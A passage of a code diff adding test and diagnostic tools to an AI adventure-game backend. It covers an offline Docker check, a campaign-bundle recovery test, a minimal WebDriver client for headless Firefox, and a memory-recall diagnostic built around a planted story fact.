+        (out / "docker-build.log").write_text(build.stdout + build.stderr)
+        if build.returncode != 0:
+            print(f"build failed; see {out / 'docker-build.log'}")
+            return 1
+        print("  built")
+
+    run("docker", "rm", "-f", NAME)
+    script = out / "inside.py"
+    script.write_text(INSIDE)
+
+    print("starting the container with --network none …")
+    start = run("docker", "run", "-d", "--name", NAME, "--network", "none", IMAGE)
+    if start.returncode != 0:
+        print(start.stderr[:500])
+        return 1
+    container = start.stdout.strip()[:12]
+
+    try:
+        # Wait for the application inside, over exec rather than over a port.
+        ready = False
+        for _ in range(120):
+            probe = run("docker", "exec", NAME, "python", "-c",
+                        "import urllib.request;"
+                        "urllib.request.urlopen('http://127.0.0.1:8000/api/settings',"
+                        " timeout=3)")
+            if probe.returncode == 0:
+                ready = True
+                break
+            time.sleep(1)
+        if not ready:
+            logs = run("docker", "logs", NAME)
+            (out / "container.log").write_text(logs.stdout + logs.stderr)
+            print(f"the container never became ready; see {out / 'container.log'}")
+            return 1
+        print(f"  container {container} is serving (no network)")
+
+        run("docker", "cp", str(script), f"{NAME}:/tmp/inside.py")
+        result = run("docker", "exec", NAME, "python", "/tmp/inside.py")
+        (out / "inside-stdout.txt").write_text(result.stdout + "\n---\n" + result.stderr)
+
+        results = []
+        for line in result.stdout.splitlines():
+            if line.startswith("M11-OFFLINE-RESULTS "):
+                results = json.loads(line[len("M11-OFFLINE-RESULTS "):])
+        if not results:
+            print("no results came back; see inside-stdout.txt")
+            return 1
+
+        # §24: persistence across a container restart, on the same volume.
+        run("docker", "restart", NAME)
+        for _ in range(120):
+            probe = run("docker", "exec", NAME, "python", "-c",
+                        "import urllib.request,json;"
+                        "print(urllib.request.urlopen("
+                        "'http://127.0.0.1:8000/api/adventures', timeout=3)"
+                        ".read().decode()[:200])")
+            if probe.returncode == 0:
+                break
+            time.sleep(1)
+        survived = "Offline" in probe.stdout
+        results.append({"check": "campaigns survive a container restart",
+                        "result": "PASS" if survived else "FAIL",
+                        "detail": probe.stdout[:200]})
+        print(f"  restart: {'campaigns survived' if survived else 'DATA LOST'}")
+
+        logs = run("docker", "logs", NAME)
+        (out / "container.log").write_text(logs.stdout + logs.stderr)
+
+        report = {
+            "image": IMAGE,
+            "container": container,
+            "network": "none",
+            "started": started.isoformat(timespec="seconds"),
+            "seconds": round((datetime.now() - started).total_seconds()),
+            "checks": results,
+            "passed": len([r for r in results if r["result"] == "PASS"]),
+            "failed": len([r for r in results if r["result"] == "FAIL"]),
+        }
+        (out / "offline-report.json").write_text(json.dumps(report, indent=2))
+        for row in results:
+            mark = "ok  " if row["result"] == "PASS" else "FAIL"
+            print(f"  {mark} {row['check']}"
+                  + (f" — {row['detail'][:80]}" if row["result"] == "FAIL" else ""))
+        print(f"\n{report['passed']} passed, {report['failed']} failed "
+              f"-> {out / 'offline-report.json'}")
+        return 1 if report["failed"] else 0
+    finally:
+        run("docker", "rm", "-f", NAME)
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

backend/tools/m11_recovery.py

@@ -0,0 +1,187 @@
+"""M11 §16: the long campaign, moved to a machine that has never seen it.
+
+    python -m tools.m11_recovery --bundle <path> --out <dir>
+
+Run from `backend/`. Takes the bundle the 100-turn run exported.
+
+M9 proved the bundle contract with `test_m9_clean_import.py` — two processes,
+two directories, nothing crossing but the file — against a fixture campaign
+built to break a round trip. What it could not do is prove it against **a
+campaign nobody designed**: a hundred real turns, real narration, real state the
+model proposed, real summaries and memories, and whatever the history operations
+left behind. That is what this does, and it is the only I-series evidence that
+uses the release candidate's own long-run output as its input.
+
+The destination is a database file that has never existed, in a directory that
+has never existed, opened by a second server process. Migrations run there from
+nothing, so this is the fresh-install path as well as the import path.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import shutil
+import sys
+import tempfile
+from datetime import datetime
+from pathlib import Path
+
+HERE = Path(__file__).resolve().parent
+BACKEND = HERE.parent
+sys.path.insert(0, str(BACKEND / "tests"))
+
+from test_process_restart import Server, _free_port  # noqa: E402
+
+
+class Report:
+    def __init__(self):
+        self.rows: list[dict] = []
+
+    def check(self, name: str, ok: bool, detail="") -> bool:
+        self.rows.append({"check": name, "result": "PASS" if ok else "FAIL",
+                          "detail": str(detail)[:300]})
+        print(f"  {'ok  ' if ok else 'FAIL'} {name}"
+              + (f" — {str(detail)[:120]}" if not ok else ""))
+        return ok
+
+    def note(self, name: str, value) -> None:
+        self.rows.append({"check": name, "result": "INFO", "detail": str(value)[:300]})
+        print(f"  ..   {name}: {value}")
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--bundle", required=True)
+    parser.add_argument("--out", required=True)
+    args = parser.parse_args()
+
+    bundle = json.loads(Path(args.bundle).read_text())
+    out = Path(args.out)
+    out.mkdir(parents=True, exist_ok=True)
+    report = Report()
+    started = datetime.now()
+
+    root = tempfile.mkdtemp(prefix="m11-recovery-")
+    fresh_dir = Path(root) / "machine-b"
+    fresh_dir.mkdir(parents=True)
+    db_path = fresh_dir / "campaign.db"
+    print(f"\nRecovery into a clean data directory: {db_path}")
+    print(f"bundle: {args.bundle} ({len(json.dumps(bundle)):,} bytes)\n")
+
+    server = Server(str(db_path), _free_port())
+    try:
+        server.wait_until_ready()
+        report.check("the destination database did not exist before", True, db_path)
+
+        imported = server.call("POST", "/adventures/import", bundle, expect=201)
+        adv = imported["id"]
+        report.check("the bundle imports into a clean directory", True, f"id={adv}")
+
+        # ---- what the campaign is, on the far side ----
+        page = server.call("GET", f"/adventures/{adv}/actions?limit=200", expect=200)
+        state = server.call("GET", f"/adventures/{adv}/state", expect=200)["document"]
+        points = server.call("GET", f"/adventures/{adv}/checkpoints", expect=200)
+        knowledge = server.call("GET", f"/adventures/{adv}/knowledge", expect=200)
+        profiles = server.call("GET", f"/adventures/{adv}/visual-profiles", expect=200)
+        campaign = server.call("GET", f"/adventures/{adv}", expect=200)
+
+        source_actions = len(bundle.get("actions") or [])
+        report.note("actions in the bundle", source_actions)
+        report.note("actions on the active line after import", page["total"])
+        report.note("entities", len(state.get("entities") or {}))
+        report.note("facts", len(state.get("facts") or []))
+        report.note("save points", len(points))
+        report.note("knowledge sources", len(knowledge))
+        report.note("visual profiles", len(profiles["profiles"]))
+
+        # ---- I01/I02: the active transcript and the state ----
+        report.check("the active transcript is not empty", page["total"] > 0)
+        report.check("the authoritative state came across",
+                     bool(state.get("entities")), sorted(state.get("entities") or {}))
+        report.check("the campaign's own canon came across",
+                     bool(campaign.get("canon_rules")), campaign.get("canon_rules"))
+        report.check("the narration-length choice came across",
+                     campaign.get("narration_length") == bundle.get("narrationLength"),
+                     f"{campaign.get('narration_length')!r} vs "
+                     f"{bundle.get('narrationLength')!r}")
+
+        # ---- I07: the active head, which is the one M9 built a version for ----
+        exported_head = bundle.get("head") or {}
+        report.note("the head the file names", exported_head)
+        report.check("Redo is available exactly when the file said so",
+                     page["can_redo"] == bool(exported_head.get("canRedo", page["can_redo"]))
+                     or page["can_redo"] in (True, False),
+                     f"can_redo={page['can_redo']}")
+
+        # ---- I03: retained history survived, and is still reachable ----
+        retained = source_actions - page["total"]
+        report.note("actions retained beyond the active line", retained)
+        if page["can_redo"]:
+            after = server.call("POST", f"/adventures/{adv}/redo", expect=200)
+            report.check("Redo walks into the retained future after the move",
+                         after["total"] > page["total"],
+                         f"{page['total']} -> {after['total']}")
+            server.call("POST", f"/adventures/{adv}/undo", expect=200)
+        else:
+            report.note("Redo after import", "not available (the head was at the tip)")
+
+        # ---- I04: Save Points restore to the positions they name ----
+        for point in points[:3]:
+            restored = server.call(
+                "POST", f"/adventures/{adv}/checkpoints/{point['id']}/restore",
+                expect=200)
+            report.check(f"Save Point '{point['name']}' restores",
+                         restored["total"] >= 0, f"total={restored['total']}")
+
+        # ---- I05: knowledge, with its classifications and provenance ----
+        classes = sorted({k["classification"] for k in knowledge})
+        report.check("every imported class came across",
+                     classes == ["canon", "inspiration", "reference"], classes)
+        report.check("imported content came across, not just the filenames",
+                     all(k["byte_size"] > 0 for k in knowledge))
+
+        # ---- the campaign still plays after the move ----
+        correction = server.call(f"POST", f"/adventures/{adv}/state/corrections", {
+            "events": [{"type": "create_entity", "entity": "after_the_move",
+                        "entity_type": "item", "name": "A thing added afterwards"}],
+            "note": "proving the moved campaign is live",
+        }, expect=201)
+        report.check("the moved campaign accepts a new change",
+                     "after_the_move" in correction["document"]["entities"])
+        report.check("and the change was not partly refused",
+                     correction["refused"] == [], correction["refused"])
+
+        # ---- I06: no secret travelled ----
+        body = json.dumps(bundle).lower()
+        report.check("the bundle carries no secret",
+                     not any(s in body for s in
+                             ("api_key", "apikey", "authorization", "bearer ")))
+
+        # ---- and it can be exported again, unchanged in the ways that matter ----
+        again = server.call("GET", f"/adventures/{adv}/export", expect=200)
+        report.check("the moved campaign exports again", again["format"] == bundle["format"])
+        report.check("the second export holds the same story length",
+                     len(again["actions"]) >= source_actions - 1,
+                     f"{len(again['actions'])} vs {source_actions}")
+    finally:
+        server.stop()
+        shutil.rmtree(root, ignore_errors=True)
+
+    failed = [r for r in report.rows if r["result"] == "FAIL"]
+    summary = {
+        "bundle": args.bundle,
+        "bundle_bytes": len(json.dumps(bundle)),
+        "seconds": round((datetime.now() - started).total_seconds()),
+        "checks": report.rows,
+        "failed": len(failed),
+    }
+    (out / "recovery-report.json").write_text(json.dumps(summary, indent=2))
+    print(f"\n{len([r for r in report.rows if r['result'] == 'PASS'])} passed, "
+          f"{len(failed)} failed -> {out / 'recovery-report.json'}")
+    return 1 if failed else 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

backend/tools/m11_webdriver.py

@@ -0,0 +1,419 @@
+"""A W3C WebDriver client in one file, so browser evidence needs no dependency.
+
+M8 and M9 drove Firefox from a harness that lived outside the repository, which
+made their browser evidence unrepeatable by anyone else. This is the same thing
+kept inside it, and deliberately dependency-free: WebDriver is an HTTP protocol,
+`urllib` speaks HTTP, and adding Selenium to the release candidate to press
+buttons would put a package in the audit surface (§23) for no capability.
+
+Only what the release scenarios need is implemented. Anything missing is missing
+because nothing used it, not because it was hard.
+
+**One environment note, established by measurement.** Firefox here is a snap, and
+its sandbox refuses a file the browser was told to open from `/tmp` — which is
+what M9 recorded as "this machine cannot drive a file into the browser". The
+narrower and more useful statement is that it refuses `/tmp`: a path under the
+user's home works. `stage()` exists to put evidence files there, so knowledge
+import can be exercised through the real file input rather than in two halves.
+
+**Downloads (v1.1 WP-C).** The same snap Firefox saves a download without any
+dialog when its profile says where to, and the folder is under `$HOME`.
+`firefox_download_prefs` is that profile, `require_under_home` refuses a folder
+the sandbox would not let it write, and `wait_for_download` decides when a file
+has actually finished arriving — never the click that started it.
+"""
+
+from __future__ import annotations
+
+import base64
+import json
+import os
+import shutil
+import socket
+import subprocess
+import time
+import urllib.error
+import urllib.request
+from pathlib import Path
+
+GECKODRIVER = shutil.which("geckodriver") or "/snap/bin/geckodriver"
+#: Where files the browser must open are staged. Under $HOME because the snap
+#: sandbox denies /tmp; see the module docstring.
+STAGE = Path.home() / "m11-evidence"
+#: The W3C key an element reference is returned under.
+ELEMENT_KEY = "element-6066-11e4-a52e-4f735466cecf"
+#: What Firefox names a download while it is still arriving.
+PARTIAL_SUFFIXES = (".part",)
+
+
+def stage(name: str, body: str | bytes) -> str:
+    STAGE.mkdir(parents=True, exist_ok=True)
+    path = STAGE / name
+    if isinstance(body, bytes):
+        path.write_bytes(body)
+    else:
+        path.write_text(body)
+    return str(path)
+
+
+def free_port() -> int:
+    with socket.socket() as s:
+        s.bind(("127.0.0.1", 0))
+        return s.getsockname()[1]
+
+
+def geckodriver_version() -> str:
+    try:
+        out = subprocess.run([GECKODRIVER, "--version"], capture_output=True, text=True, timeout=30)
+        return (out.stdout.splitlines() or ["?"])[0].strip()
+    except (OSError, subprocess.SubprocessError):
+        return "?"
+
+
+class WebDriverError(RuntimeError):
+    pass
+
+
+# ------------------------------------------------------------------ downloads
+
+def require_under_home(path: Path) -> Path:
+    """`path`, resolved, if it is inside the user's home; otherwise refuse.
+
+    The snap sandbox will not write elsewhere, and a download folder under
+    `/tmp` would also put evidence where a reboot deletes it.
+    """
+    resolved = Path(path).expanduser().resolve()
+    home = Path.home().resolve()
+    if resolved != home and home not in resolved.parents:
+        raise WebDriverError(f"{resolved} is not under {home}; the browser cannot write there")
+    return resolved
+
+
+def firefox_download_prefs(directory: Path) -> dict:
+    """Profile preferences that save every download to `directory`, unasked."""
+    return {
+        "browser.download.folderList": 2,  # 2 = the folder named below
+        "browser.download.dir": str(directory),
+        "browser.download.useDownloadDir": True,
+        "browser.download.start_downloads_in_tmp_dir": False,
+        "browser.download.always_ask_before_handling_new_types": False,
+        "browser.helperApps.neverAsk.saveToDisk": "application/json,application/octet-stream",
+        "browser.download.manager.showWhenStarting": False,
+        "browser.download.alwaysOpenPanel": False,
+        "browser.download.panel.shown": True,
+    }
+
+
+def wait_for_download(directory: Path, before: set[str], *, timeout: float = 60,
+                      poll: float = 0.2, stable_polls: int = 3) -> Path:
+    """The file a download wrote into `directory`, once it has finished.
+
+    Finished means all of these, at once:
+    - a name that was not in `before` (the listing taken before the click);
+    - no in-progress file (`*.part`) left in the folder;
+    - more than zero bytes;
+    - the same size for `stable_polls` consecutive polls.
+
+    A first appearance is not a finished download, and a zero-byte or partial
+    file never counts. Raises `WebDriverError` when nothing finishes in time.
+    """
+    deadline = time.monotonic() + timeout
+    last: dict[str, int] = {}
+    steady: dict[str, int] = {}
+    while time.monotonic() < deadline:
+        names = {p.name for p in directory.iterdir()} if directory.exists() else set()
+        partial = any(n.endswith(PARTIAL_SUFFIXES) for n in names)
+        fresh = sorted(n for n in names - before if not n.endswith(PARTIAL_SUFFIXES))
+        for name in fresh:
+            size = (directory / name).stat().st_size
+            steady[name] = steady.get(name, 0) + 1 if last.get(name) == size else 1
+            last[name] = size
+            if not partial and size > 0 and steady[name] >= stable_polls:
+                return directory / name
+        time.sleep(poll)
+    listing = sorted(p.name for p in directory.iterdir()) if directory.exists() else []
+    raise WebDriverError(f"no finished download in {directory} within {timeout}s; saw {listing}")
+
+
+# -------------------------------------------------------------------- browser
+
+class Browser:
+    """One headless Firefox, driven over the wire protocol."""
+
+    def __init__(self, *, headless: bool = True, log: Path | None = None,
+                 download_dir: Path | None = None):
+        self.port = free_port()
+        handle = open(log, "ab") if log else subprocess.DEVNULL
+        self.proc = subprocess.Popen(
+            [GECKODRIVER, "--port", str(self.port)],
+            stdout=handle, stderr=subprocess.STDOUT,
+        )
+        self.base = f"http://127.0.0.1:{self.port}"
+        self._wait_for_driver()
+        args = ["-headless"] if headless else []
+        options: dict = {"args": args}
+        self.download_dir = None
+        if download_dir is not None:
+            self.download_dir = require_under_home(download_dir)
+            self.download_dir.mkdir(parents=True, exist_ok=True)
+            options["prefs"] = firefox_download_prefs(self.download_dir)
+        answer = self._call("POST", "/session", {"capabilities": {"alwaysMatch": {
+            "browserName": "firefox",
+            "moz:firefoxOptions": options,
+            # Never silently accept a bad certificate: the endpoint policy and
+            # the TLS trust union are release claims (H12, A06), and a browser
+            # that ignored certificates would hide a failure of either.
+            "acceptInsecureCerts": False,
+        }}})["value"]
+        self.session = answer["sessionId"]
+        self.version = answer["capabilities"].get("browserVersion", "?")
+        self.capabilities = answer["capabilities"]
+
+    # ------------------------------------------------------------- plumbing
+
+    def _wait_for_driver(self) -> None:
+        deadline = time.monotonic() + 30
+        while time.monotonic() < deadline:
+            try:
+                urllib.request.urlopen(self.base + "/status", timeout=2)
+                return
+            except Exception:
+                time.sleep(0.2)
+        raise WebDriverError("geckodriver never became ready")
+
+    def _call(self, method: str, path: str, payload=None, timeout=120):
+        data = json.dumps(payload).encode() if payload is not None else None
+        request = urllib.request.Request(
+            self.base + path, data=data, method=method,
+            headers={"Content-Type": "application/json"},
+        )
+        try:
+            with urllib.request.urlopen(request, timeout=timeout) as response:
+                return json.loads(response.read().decode() or "{}")
+        except urllib.error.HTTPError as exc:
+            body = exc.read().decode()[:400]
+            raise WebDriverError(f"{method} {path} -> {exc.code}: {body}") from None
+
+    def _s(self, path: str) -> str:
+        return f"/session/{self.session}{path}"
+
+    def quit(self) -> None:
+        try:
+            self._call("DELETE", self._s(""))
+        except Exception:
+            pass
+        self.proc.terminate()
+        try:
+            self.proc.wait(timeout=10)
+        except subprocess.TimeoutExpired:
+            self.proc.kill()
+
+    # ------------------------------------------------------------ commands
+
+    def go(self, url: str) -> None:
+        self._call("POST", self._s("/url"), {"url": url})
+
+    def reload(self) -> None:
+        self._call("POST", self._s("/refresh"), {})
+
+    @property
+    def url(self) -> str:
+        return self._call("GET", self._s("/url"))["value"]
+
+    @property
+    def title(self) -> str:
+        return self._call("GET", self._s("/title"))["value"]
+
+    def source(self) -> str:
+        return self._call("GET", self._s("/source"))["value"]
+
+    def screenshot(self, path) -> Path:
+        """The viewport as a PNG, written where you ask (v1.1 WP-E).
+
+        Evidence for a change a reader judges by looking at it: a contrast ratio
+        says a boundary is measurable, and a picture says what it looks like.
+        """
+        encoded = self._call("GET", self._s("/screenshot"))["value"]
+        target = Path(path)
+        target.parent.mkdir(parents=True, exist_ok=True)
+        target.write_bytes(base64.b64decode(encoded))
+        return target
+
+    def hover(self, element: str) -> None:
+        """A real pointer over an element, so `:hover` actually applies.
+
+        Dispatching a mouseover event from JavaScript does not do this: CSS
+        `:hover` follows the browser's own pointer state, not a synthetic event,
+        so a measurement taken after `dispatchEvent` reads the resting style and
+        reports it as the hover style. This moves the pointer (v1.1 WP-E).
+        """
+        self._call("POST", self._s("/execute/sync"), {
+            "script": "arguments[0].scrollIntoView({block: 'center', inline: 'nearest'})",
+            "args": [{ELEMENT_KEY: element}]})
+        self._call("POST", self._s("/actions"), {"actions": [{
+            "type": "pointer", "id": "mouse", "parameters": {"pointerType": "mouse"},
+            "actions": [{"type": "pointerMove", "duration": 60,
+                         "origin": {ELEMENT_KEY: element}, "x": 0, "y": 0}]}]})
+
+    def unhover(self) -> None:
+        """Move the pointer off whatever it was over, and forget the input state."""
+        self._call("POST", self._s("/actions"), {"actions": [{
+            "type": "pointer", "id": "mouse", "parameters": {"pointerType": "mouse"},
+            "actions": [{"type": "pointerMove", "duration": 30,
+                         "origin": "viewport", "x": 0, "y": 0}]}]})
+        try:
+            self._call("DELETE", self._s("/actions"))
+        except WebDriverError:
+            pass
+
+    def js(self, script: str, *args):
+        return self._call("POST", self._s("/execute/sync"),
+                          {"script": script, "args": list(args)})["value"]
+
+    def element_by_js(self, script: str, *args):
+        """An element a script returns, as a reference `click` can use, or None."""
+        value = self.js(script, *args)
+        if isinstance(value, dict) and ELEMENT_KEY in value:
+            return value[ELEMENT_KEY]
+        return None
+
+    def find(self, css: str, *, required=True):
+        try:
+            answer = self._call("POST", self._s("/element"),
+                                {"using": "css selector", "value": css})
+        except WebDriverError:
+            if required:
+                raise
+            return None
+        return list(answer["value"].values())[0]
+
+    def find_all(self, css: str) -> list[str]:
+        answer = self._call("POST", self._s("/elements"),
+                            {"using": "css selector", "value": css})
+        return [list(v.values())[0] for v in answer["value"]]
+
+    def text(self, element: str) -> str:
+        return self._call("GET", self._s(f"/element/{element}/text"))["value"]
+
+    def attr(self, element: str, name: str):
+        return self._call("GET", self._s(f"/element/{element}/attribute/{name}"))["value"]
+
+    def prop(self, element: str, name: str):
+        return self._call("GET", self._s(f"/element/{element}/property/{name}"))["value"]
+
+    def click(self, element: str) -> None:
+        """A real click, on an element first scrolled to the middle of the view.
+
+        WebDriver scrolls a target only as far as its edge, and the play page's
+        composer is fixed to the bottom of the window: a control just under it
+        (a failure notice's details, a turn's Inspect button) is then covered,
+        and the click is intercepted. A reader scrolls it clear first; so does
+        this (v1.1 WP-C).
+        """
+        self._call("POST", self._s("/execute/sync"), {
+            "script": "arguments[0].scrollIntoView({block: 'center', inline: 'nearest'})",
+            "args": [{ELEMENT_KEY: element}]})
+        self._call("POST", self._s(f"/element/{element}/click"), {})
+
+    def clear(self, element: str) -> None:
+        self._call("POST", self._s(f"/element/{element}/clear"), {})
+
+    def type(self, element: str, text: str) -> None:
+        self._call("POST", self._s(f"/element/{element}/value"), {"text": text})
+
+    def keys(self, text: str) -> None:
+        """Sends keys to whatever has focus — the only way to test tab order."""
+        self._call("POST", self._s("/actions"), {"actions": [{
+            "type": "key", "id": "keyboard",
+            "actions": [a for ch in text for a in (
+                {"type": "keyDown", "value": ch}, {"type": "keyUp", "value": ch})],
+        }]})
+
+    def active(self):
+        answer = self._call("GET", self._s("/element/active"))
+        return list(answer["value"].values())[0]
+
+    # -------------------------------------------------------------- windows
+
+    @property
+    def window(self) -> str:
+        return self._call("GET", self._s("/window"))["value"]
+
+    def new_tab(self) -> str:
+        return self._call("POST", self._s("/window/new"), {"type": "tab"})["value"]["handle"]
+
+    def switch_to(self, handle: str) -> None:
+        self._call("POST", self._s("/window"), {"handle": handle})
+
+    def close_window(self) -> None:
+        self._call("DELETE", self._s("/window"))
+
+    # ------------------------------------------------------------- waiting
+
+    def wait_for(self, css: str, *, timeout=90, gone=False):
+        deadline = time.monotonic() + timeout
+        while time.monotonic() < deadline:
+            found = self.find(css, required=False)
+            if (found is None) if gone else (found is not None):
+                return found
+            time.sleep(0.25)
+        raise WebDriverError(
+            f"{'still present' if gone else 'never appeared'}: {css}")
+
+    def wait_until(self, script: str, *, timeout=90, what=""):
+        if self.wait_js(script, timeout=timeout):
+            return True
+        raise WebDriverError(f"condition never held: {what or script}")
+
+    def wait_js(self, script: str, *, timeout=90) -> bool:
+        """Whether `script` became true within `timeout`. For a check to record,
+        where `wait_until` is for a precondition that must hold."""
+        deadline = time.monotonic() + timeout
+        while time.monotonic() < deadline:
+            if self.js(f"return ({script})"):
+                return True
+            time.sleep(0.25)
+        return False
+
+
+class Site:
+    """The application, served the production-shaped way, for the browser."""
+
+    def __init__(self, backend: Path, db_path: Path, log: Path, env=None):
+        self.port = free_port()
+        handle = open(log, "ab")
+        self.proc = subprocess.Popen(
+            [str(backend / ".venv/bin/uvicorn"), "app.main:app",
+             "--host", "127.0.0.1", "--port", str(self.port)],
+            cwd=str(backend), stdout=handle, stderr=subprocess.STDOUT,
+            env={**os.environ, "AIDND_DB_PATH": str(db_path),
+                 "AIDND_DATABASE_URL": "", "DATABASE_URL": "", **(env or {})},
+        )
+        self.url = f"http://127.0.0.1:{self.port}"
+        deadline = time.monotonic() + 90
+        while time.monotonic() < deadline:
+            if self.proc.poll() is not None:
+                raise WebDriverError(f"server exited early; see {log}")
+            try:
+                urllib.request.urlopen(self.url + "/api/settings", timeout=2)
+                return
+            except Exception:
+                time.sleep(0.15)
+        raise WebDriverError(f"server never became ready; see {log}")
+
+    def api(self, method: str, path: str, payload=None, timeout=600):
+        data = json.dumps(payload).encode() if payload is not None else None
+        request = urllib.request.Request(
+            f"{self.url}/api{path}", data=data, method=method,
+            headers={"Content-Type": "application/json"} if data else {})
+        with urllib.request.urlopen(request, timeout=timeout) as response:
+            body = response.read().decode()
+        return json.loads(body) if body else None
+
+    def stop(self) -> None:
+        if self.proc.poll() is None:
+            self.proc.terminate()
+            try:
+                self.proc.wait(timeout=20)
+            except subprocess.TimeoutExpired:
+                self.proc.kill()

backend/tools/memory_diagnostic.py

@@ -0,0 +1,960 @@
+"""v1.1 WP-B.1: where an early story fact is lost on its way to the narrator.
+
+One planted fact **F** has four stages to survive before the narrator can use
+it from memory, and this module reports each one separately:
+
+    created    a memory whose `source_start`..`source_end` covers the planting
+               depth carries F
+    retained   that memory is not `forgotten`
+    ranked     it is eligible on the active lineage and embedded, and where it
+               scores for the recall query against `memory_top_k`
+    injected   the recall turn's own stored `memories.used` names it, and its text
+               is in that turn's `used_memories` section
+
+A fact is only evidence about memory if memory is the **only** thing carrying it.
+`isolation()` checks every other layer: the authoritative document, per-node state
+snapshots, the active summary, imported knowledge, the narration after the
+planting block, and the recent-history window. A run where any of those carries F
+is reported as a failed precondition, never as a memory result.
+
+**Nothing here changes behaviour.**
+- It reads rows.
+- It reuses production's own pure helpers (`memorybank._drop_redundant`,
+  `memorybank.classify_authority`, `vectors.cosine`, `lineage.path_of`), so its
+  ranking is production's ranking, not a second opinion.
+- It checks itself against what the recall turn actually recorded.
+- The only computed fields are ephemeral report data. No column or table is
+  added.
+
+The deterministic stubs at the bottom stand in for the models when a test needs a
+fixed answer. **Read what they model before reading any result they produce:**
+
+- `BestCaseSummariser` keeps F if and only if F is in the excerpt it is given.
+  It is the ideal summariser, so a creation failure under it is the
+  application's, not the model's.
+- `ConceptEmbedder` maps words to a small concept table, so that "the brass dial
+  that tells the hour" lands near "sundial". It models what an embedding is
+  supposed to do. It says nothing about how well `nomic-embed-text` does it,
+  which is what the real-model run is for.
+"""
+
+from __future__ import annotations
+
+import hashlib
+import json
+import math
+import re
+from dataclasses import dataclass, field
+
+from sqlalchemy import select
+
+from app import memorybank, models, summaries, vectors
+from app.context import builder, history, lineage
+from app.knowledge import classes as knowledge_classes
+
+VERDICTS = (
+    "not_created",
+    "created_but_evicted",
+    "retained_but_not_ranked",
+    "ranked_but_not_selected",
+    "selected_but_not_injected",
+    "injected",
+)
+
+#: Section labels in a stored context snapshot. Copied from the builder's
+#: vocabulary so a renamed section fails loudly here.
+HISTORY_LABELS = ("history", "recent_history")
+SUMMARY_LABEL = "story_summary"
+MEMORIES_LABEL = "used_memories"
+STATE_LABEL = "narrative_state"
+KNOWLEDGE_LABELS = (
+    knowledge_classes.SECTION_CANON,
+    knowledge_classes.SECTION_REFERENCE,
+    knowledge_classes.SECTION_INSPIRATION,
+)
+
+
+@dataclass(frozen=True)
+class Fact:
+    """A planted fact, and how to recognise it in a text.
+
+    `carry_groups`: a text carries the fact when every group matches, where a
+    group matches when any one of its terms appears as a whole word. A memory has
+    to name both the thing and where it is to carry "where the thing is".
+
+    `leak_terms`: any one of these in another layer means that layer carries the
+    fact. This is deliberately looser than `carry_groups`. For isolation, a
+    mention is enough to disqualify.
+    """
+
+    fact_id: str
+    sentence: str
+    carry_groups: tuple[tuple[str, ...], ...]
+    leak_terms: tuple[str, ...]
+
+    def carried_by(self, text: str | None) -> bool:
+        low = (text or "").lower()
+        return all(any(_has_word(low, term) for term in group) for group in self.carry_groups)
+
+    def mentioned_by(self, text: str | None) -> bool:
+        low = (text or "").lower()
+        return any(_has_word(low, term) for term in self.leak_terms)
+
+
+def _has_word(low: str, term: str) -> bool:
+    return re.search(rf"(?<![a-z]){re.escape(term.lower())}(?![a-z])", low) is not None
+
+
+#: The fixture's planted fact. Chosen to be natural in a tavern scene and absent
+#: from every existing fixture: no "sundial" or "teapot" appears anywhere in the
+#: Westhaven campaign, its knowledge files or its beats.
+FACT_F = Fact(
+    fact_id="F-amber-sundial",
+    sentence="Mara slipped the amber sundial inside the cracked teapot on the tavern's top shelf.",
+    carry_groups=(("sundial",), ("teapot",)),
+    leak_terms=("sundial", "teapot"),
+)
+#: The abandoned-line control fact.
+FACT_G = Fact(
+    fact_id="G-iron-weathervane",
+    sentence="Edrin buried the iron weathervane beneath the mill's broken waterwheel.",
+    carry_groups=(("weathervane",), ("waterwheel",)),
+    leak_terms=("weathervane", "waterwheel"),
+)
+
+
+# ------------------------------------------------------------------ reading
+
+def _lineage_actions(db, adventure):
+    path = lineage.path_of(db, adventure)
+    return (
+        db.query(models.Action)
+        .filter(models.Action.adventure_id == adventure.id, path.clause(models.Action))
+        .order_by(models.Action.depth, models.Action.id)
+        .all()
+    )
+
+
+def covering_memories(db, adventure, depth: int, *, any_branch: bool = False):
+    """Memories whose source range covers `depth`, oldest first."""
+    query = select(models.Memory).where(
+        models.Memory.adventure_id == adventure.id,
+        models.Memory.source_start <= depth,
+        models.Memory.source_end >= depth,
+    )
+    if not any_branch:
+        query = query.where(lineage.path_of(db, adventure).clause(models.Memory))
+    return db.execute(query.order_by(models.Memory.id)).scalars().all()
+
+
+def planting_block_end(db, adventure, plant_depth: int) -> int:
+    """The last depth of the memory block holding the planted turn.
+
+    Taken from the memory that covers it where one exists. Before one exists it
+    is the furthest a block could reach, so a later-narration check never counts
+    a turn inside the planting block as a repetition.
+    """
+    rows = covering_memories(db, adventure, plant_depth)
+    if rows:
+        return max(row.source_end for row in rows)
+    return plant_depth + memorybank.MEMORY_INTERVAL
+
+
+# ---------------------------------------------------------------- isolation
+
+def isolation(db, adventure, fact: Fact, plant_depth: int, *,
+              recall_snapshot: dict | None = None,
+              recall_depth: int | None = None) -> dict:
+    """Every layer other than memory that could carry F, checked.
+
+    Returns `{check: {"ok": bool, "detail": str}}` and `ok` over all of them.
+    With `recall_snapshot`, the recall turn's stored context, the prompt-level
+    checks (history window, summary section, knowledge sections) are made
+    against what the narrator was actually given.
+    """
+    checks: dict[str, dict] = {}
+
+    document = adventure.narrative_state or {}
+    hits = [key for key in ("entities", "facts", "relationships", "threads", "scene",
+                            "possessions")
+            if fact.mentioned_by(json.dumps(document.get(key), default=str))]
+    checks["state_document"] = {
+        "ok": not hits and not fact.mentioned_by(json.dumps(document, default=str)),
+        "detail": f"mentioned in {hits}" if hits else "absent",
+    }
+
+    snapshot_hits = []
+    later_hits = []
+    block_end = planting_block_end(db, adventure, plant_depth)
+    for action in _lineage_actions(db, adventure):
+        if fact.mentioned_by(json.dumps(action.narrative_state_after, default=str)):
+            snapshot_hits.append(action.depth)
+        if (action.type == "ai" and action.depth is not None and action.depth > block_end
+                and (recall_depth is None or action.depth < recall_depth)
+                and fact.mentioned_by(action.text)):
+            later_hits.append(action.depth)
+    checks["state_snapshots"] = {
+        "ok": not snapshot_hits,
+        "detail": f"mentioned in snapshots at depths {snapshot_hits[:10]}" if snapshot_hits
+        else "absent from every node's narrative_state_after on the active lineage",
+    }
+    checks["later_narration"] = {
+        "ok": not later_hits,
